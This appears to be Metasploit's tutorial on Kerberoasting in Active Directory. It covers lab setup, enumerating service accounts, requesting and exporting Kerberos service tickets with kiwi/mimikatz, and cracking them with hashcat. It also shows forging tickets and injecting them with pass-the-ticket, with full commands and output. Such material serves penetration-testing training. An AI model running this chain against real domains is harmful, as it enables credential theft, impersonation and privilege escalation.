## Kerberoasting

Kerberoasting is a technique that finds Service Principal Names (SPN) in Active Directory that are associated with
normal user accounts on the domain, and then requesting Ticket Granting Service (TGS) tickets for those accounts from
the KDC. These TGS tickets are encrypted with the Service's password, which may be weak - and susceptible to brute force
attacks.

Services are normally configured to use computer accounts which have very long and secure passwords, but services
associated with normal user accounts will have passwords entered by a human and may be short and weak - and a good
target for brute attacks.

If successful, the attacker possesses user credentials that can be used to impersonate the account owner. Now the attacker
appears to be an approved and legitimate user - having access to the same privileges, assets, systems, etc, that have
been granted to the compromised account, boom roasted.

## Vulnerable Targets

Any system leveraging Kerberos as a means of authentication e.g. Active Directory, MSSQL, which have Service Principal
Names (SPN) associated with normal user accounts on the domain.

## Lab Environment

For testing purposes on an Active Directory environment you can create a user account and register an SPN manually as an
example of this technique:

```
# Create a basic user account with a weak password for our service
net user /add svc_kerberoastable password123

# Mark the account and password as never expiring, to ensure the lab setup still works in the future
net user svc_kerberoastable /expires:never
powershell /c Set-AdUser -Identity svc_kerberoastable -PasswordNeverExpires $true

# Create a Service Principal Name which uses the user account with a weak password
cmd /c setspn -a %computername%/svc_kerberoastable.%userdnsdomain%:1337 %userdomain%\svc_kerberoastable
```

## Scenarios

### Using get_user_spns

The easiest way to enumerate Kerberoastable accounts is with the `auxiliary/gather/get_user_spns` module which internally leverages Impacket.
This module will automatically query LDAP for Kerberoastable SPNs and request a Kerberos service ticket that may be encrypted using the weak password
which can be bruteforced:

```
use auxiliary/gather/get_user_spns
run rhost=192.168.123.13 user=<username> pass=<password> domain=<domain>
```

If you followed the lab setup setup above, this should output the following result:

```msf
msf auxiliary(gather/get_user_spns) > run rhost=192.168.123.13 user=Administrator pass=p4$$w0rd domain=adf3.local

[*] Running for 192.168.123.13...
[+] ServicePrincipalName                    Name                MemberOf  PasswordLastSet             LastLogon  Delegation
[+] --------------------------------------  ------------------  --------  --------------------------  ---------  ----------
[+] DC3/svc_kerberoastable.ADF3.LOCAL:1337  svc_kerberoastable            2023-01-23 23:52:19.445592  <never>
[+] $krb5tgs$23$*svc_kerberoastable$ADF3.LOCAL$adf3.local/svc_kerberoastable*$c2e73c1dcdcef4c926cb263abedf75ed$263fea3ad446bd6b4b8... etc etc ...
```

The final line contains the service ticket hash in a crackable format. Next paste this hash `$krb5tgs$23$*svc_kerberoastable$ADF3.LOCAL$adf3.local/svc_kerberoastable*$c2e73c1..etc etc...` into a new file called `hash.txt`
You can run Hashcat to crack the hash with a wordlist of choice, and see if the status of the hash has been marked as cracked:

```
$ hashcat -m 13100 --force -a 0 hash.txt /usr/share/wordlists/rockyou.txt
... etc ...
Session..........: hashcat
Status...........: Cracked
... etc ...
```

If the password has been cracked you can view the result at a later date with the above command and `--show` appended:

```
$ hashcat -m 13100 --force -a 0 hash.txt /usr/share/wordlists/rockyou.txt --show
$krb5tgs$23$*svc_kerberoastable$ADF3.LOCAL$adf3.local/svc_kerberoastable*$c2e73c1dcdcef4c926cb...etc etc...:password123
                                                                                                         ^ cracked password
```

Now that you have access to the password of the service account, you can use this to enumerate further in the AD environment.

### Manual workflow

An alternative to the easier `get_user_spns` module above is the more manual process of running the LDAP query module to
find Kerberoastable accounts, requesting service tickets with Kiwi, converting the Kiwi ticket to a format usable by hashcat,
and cracking the hash.

1. Start msfconsole
2. Obtain SPNs associated with user accounts from your target
   1. Do: `use auxiliary/gather/ldap_query`
   2. Do: `set action ENUM_USER_SPNS_KERBEROAST`
   3. Run the module and note the discovered SPNs
3. From your Meterpreter session:
   1. Do: `load kiwi`
   2. Do: Request a kerberos ticket for SPN found by the ldap_query module: `kiwi_cmd kerberos::ask /target:https/TSTWLPT1000000`
   3. Do: `kerberos_ticket_list`
4. Export service tickets using the kiwi extension
   1. Do: `kiwi_cmd kerberos::list /export`
5. Crack the encrypted password in the service ticket using tgsrepcrack.py (more info on this python script below)
   1. Do:  `python3 tgsrepcrack.py passlist.txt 1-40a10000-Administrator@HTTP\~testService-EXAMPLE.COM.kirbi`
6. Rewrite the service tickets using kerberoast.py (more info on this python script below)
   1. Do:  `python3  kerberoast.py -p N0tpassword! -r 1-40a10000-Administrator@HTTP~testService-EXAMPLE.COM.kirbi -w Administrator.kirbi -u 500`
7. Finally inject the ticket back into RAM using Meterpreter's kiwi extension
   1. `meterpreter > kiwi_cmd kerberos::ptt Administrator.kirbi`

First an SPN needs to be found. This can be done in a number of ways - including using metasploit's
very own `auxiliary/gather/ldap_query` module:

```msf
msf > use auxiliary/gather/ldap_query
msf auxiliary(gather/ldap_query) > set RHOSTS 172.16.199.235
RHOSTS => 172.16.199.235
msf auxiliary(gather/ldap_query) > set BIND_DN DARWIN_CLAY
BIND_DN => DARWIN_CLAY
msf auxiliary(gather/ldap_query) > set BIND_PW N0tpassword!
BIND_PW => N0tpassword!
msf auxiliary(gather/ldap_query) > set action ENUM_USER_SPNS_KERBEROAST
action => ENUM_USER_SPNS_KERBEROAST
msf auxiliary(gather/ldap_query) > run
[*] Running module against 172.16.199.235

[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[*] 172.16.199.235:389 Getting root DSE
dn:
namingcontexts: DC=example,DC=com
namingcontexts: CN=Configuration,DC=example,DC=com
namingcontexts: CN=Schema,CN=Configuration,DC=example,DC=com

...

======================================================================

 Name                  Attributes
 ----                  ----------
 cn                    BERYL_SAVAGE
 samaccountname        BERYL_SAVAGE
 serviceprincipalname  CIFS/OGCWLPT1000000

CN=CAITLIN_CAMPBELL OU=Devices OU=FIN OU=Tier 1 DC=example DC=com
=================================================================

 Name                  Attributes
 ----                  ----------
 cn                    CAITLIN_CAMPBELL
 samaccountname        CAITLIN_CAMPBELL
 serviceprincipalname  ftp/BDEWSECS1000000

CN=NETTIE_BURNS OU=ITS OU=Stage DC=example DC=com
=================================================

 Name                  Attributes
 ----                  ----------
 cn                    ALBERTO_OLSEN
 samaccountname        ALBERTO_OLSEN
 serviceprincipalname  https/TSTWWKS1000002

CN=LESSIE_PHILLIPS OU=Test OU=GOO OU=Stage DC=example DC=com
============================================================

```

Great, we now have a couple SPNs to move forward with.

**Request Service Tickets - with kiwi**

If you have a running Meterpreter session you can request a Service Ticket using the kiwi extension and one of the SPNs
found above:

```msf
meterpreter > load kiwi
Loading extension kiwi...

  .#####.   mimikatz 2.2.0 20191125 (x64/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

Success.
meterpreter > kiwi_cmd kerberos::ask /target:https/TSTWLPT1000000
Asking for: https/TSTWLPT1000000
   * Ticket Encryption Type & kvno not representative at screen

	   Start/End/MaxRenew: 12/16/2022 4:58:34 PM ; 12/17/2022 1:35:41 AM ; 12/23/2022 3:35:41 PM
	   Service Name (02) : https ; TSTWLPT1000000 ; @ EXAMPLE.COM
	   Target Name  (02) : https ; TSTWLPT1000000 ; @ EXAMPLE.COM
	   Client Name  (01) : Administrator ; @ EXAMPLE.COM
	   Flags 40a10000    : name_canonicalize ; pre_authent ; renewable ; forwardable ;
	   Session Key       : 0x00000017 - rc4_hmac_nt
	     07137dd7d5b801ef8b05c73380b18701
	   Ticket            : 0x00000017 - rc4_hmac_nt       ; kvno = 0	[...]

```

Tickets in the current session can be viewed like so:

```msf
meterpreter > kerberos_ticket_list
[+] Kerberos tickets found in the current session.
[00000000] - 0x00000012 - aes256_hmac
   Start/End/MaxRenew: 12/16/2022 3:35:41 PM ; 12/17/2022 1:35:41 AM ; 12/23/2022 3:35:41 PM
   Server Name       : krbtgt/EXAMPLE.COM @ EXAMPLE.COM
   Client Name       : Administrator @ EXAMPLE.COM
   Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;

[00000001] - 0x00000017 - rc4_hmac_nt
   Start/End/MaxRenew: 12/16/2022 4:58:34 PM ; 12/17/2022 1:35:41 AM ; 12/23/2022 3:35:41 PM
   Server Name       : https/TSTWLPT1000000 @ EXAMPLE.COM
   Client Name       : Administrator @ EXAMPLE.COM
   Flags 40a10000    : name_canonicalize ; pre_authent ; renewable ; forwardable ;
```

**Export Service Tickets**

```msf
meterpreter > kiwi_cmd kerberos::list /export

[00000001] - 0x00000017 - rc4_hmac_nt
   Start/End/MaxRenew: 12/16/2022 4:58:34 PM ; 12/17/2022 1:35:41 AM ; 12/23/2022 3:35:41 PM
   Server Name       : https/TSTWLPT1000000 @ EXAMPLE.COM
   Client Name       : Administrator @ EXAMPLE.COM
   Flags 40a10000    : name_canonicalize ; pre_authent ; renewable ; forwardable ;
====================
Base64 of file : 1-40a10000-Administrator@https~TSTWLPT1000000-EXAMPLE.COM.kirbi
====================

MDAwMA==
====================

   * Saved to file     : 1-40a10000-Administrator@https~TSTWLPT1000000-EXAMPLE.COM.kirbi
```

**Crack Kiwi's Service Tickets**

To crack the service ticket a number of tools can be used. In this example we'll use hashcat. First we need to convert
the ticket we retrieved in the `.kirbi` format to a format parsable by hashcat. The script **kirbi2john** is part of
[Tim Medin](https://twitter.com/TimMedin) [Kerberoast](https://github.com/nidem/kerberoast) toolkit is perfect for
this task.

First clone the repo then run the script against the `.kirbi` file.

```
msfuser@ubuntu:~/git$ git clone https://github.com/nidem/kerberoast.git
msfuser@ubuntu:~/git$ cd kerberoast
msfuser@ubuntu:~/git/kerberoast$ python3 kirbi2john.py ~/1-40a10000-Administrator@HTTP~testService-EXAMPLE.COM.kirbi
$krb5tgs$23$*1-40a10000-Administrator@HTTP~testService-EXAMPLE.COM*$2b5cda0496cdd9cfb11a00a9b03a0d31$76975a9115860927140

8839b74263ddbd087c90b6262dd5684e078068c28ccc0c115e3
tickets written: 1
```

Copy the above hash to a file called hash.txt.

Ensure hashcat is installed: `msfuser@ubuntu:~/git/kerberoast$ sudo apt install hashcat`

With a word list of your choice run the following command:

```
msfuser@ubuntu:~/git/kerberoast$ hashcat -m 13100 --force -a 0 hash.txt wordlist.txt
hashcat (v5.1.0) starting...

OpenCL Platform #1: The pocl project
====================================
* Device #1: pthread-Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz, 16384/41063 MB allocatable, 6MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

ATTENTION! Pure (unoptimized) OpenCL kernels selected.
This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance.
If you want to switch to optimized OpenCL kernels, append -O to your commandline.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

* Device #1: build_opts '-cl-std=CL1.2 -I OpenCL -I /usr/share/hashcat/OpenCL -D LOCAL_MEM_TYPE=2 -D VENDOR_ID=64
 -D CUDA_ARCH=0 -D AMD_ROCM=0 -D VECT_SIZE=8 -D DEVICE_TYPE=2 -D DGST_R0=0 -D DGST_R1=1 -D DGST_R2=2 -D DGST_R3=3
 -D DGST_ELEM=4 -D KERN_TYPE=13100 -D _unroll'
 
* Device #1: Kernel m13100_a0-pure.64a04b9e.kernel not found in cache! Building may take a while...
Dictionary cache built:
* Filename..: wordlist.txt
* Passwords.: 3
* Bytes.....: 33
* Keyspace..: 3
* Runtime...: 0 secs

The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.

$krb5tgs$23$*1-40a10000-Administrator@HTTP~testService-EXAMPLE.COM*$2b5cda0496cdd9cfb11a00a9b03a0d31$76975a9115860927140
<truncated due to size>

Session..........: hashcat
Status...........: Cracked
Hash.Type........: Kerberos 5 TGS-REP etype 23
Hash.Target......: $krb5tgs$23$*1-40a10000-Administrator@HTTP~testServ...c115e3
Time.Started.....: Tue Jan 10 07:41:11 2023 (0 secs)
Time.Estimated...: Tue Jan 10 07:41:11 2023 (0 secs)
Guess.Base.......: File (wordlist.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:       26 H/s (0.03ms) @ Accel:32 Loops:1 Thr:64 Vec:8
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 3/3 (100.00%)
Rejected.........: 0/3 (0.00%)
Candidates.1.....: test123  -> N0tpassword!
```

If you want to view the hash + cracked password at a later date run the above command with `--show` appended.

```
msfuser@ubuntu:~/git/kerberoast$ hashcat -m 13100 --force -a 0 hash.txt wordlist.txt --show
$krb5tgs$23$*1-40a10000-Administrator@HTTP~testService-EXAMPLE.COM*$2b5cda0496cdd9cfb11a00a9b03a0d31$76975a9115860927140
<truncated due to size>
39efa046757894679beba5b296fe0cdc11100b9a536264cb5e3cb3c6d0426acaa7dd3928895d32973fab2695476093ddbd087c115e3:N0tpassword!
```

**Rewrite Service Tickets & RAM Injection**

Kerberos tickets are signed with the NTLM hash of the password. If the ticket hash has been cracked then it is possible
to rewrite the ticket with [Kerberoast](https://github.com/nidem/kerberoast) python script. This tactic will allow users
to impersonate any domain user or a fake account when the service is going to be accessed. Additionally privilege
escalation is also possible as the user can be added into an elevated group such as Domain Admins.

```
➜  kerberoast git:(master) ✗ python3  kerberoast.py -p N0tpassword! -r 1-40a10000-Administrator@HTTP~testService-EXAMPLE.COM.kirbi -w Administrator.kirbi -u 500
```

The new ticket can be injected back into the memory with the following Mimikatz command in order to perform
authentication with the targeted service via Kerberos protocol.

```msf
meterpreter > kiwi_cmd kerberos::ptt Administrator.kirbi
```
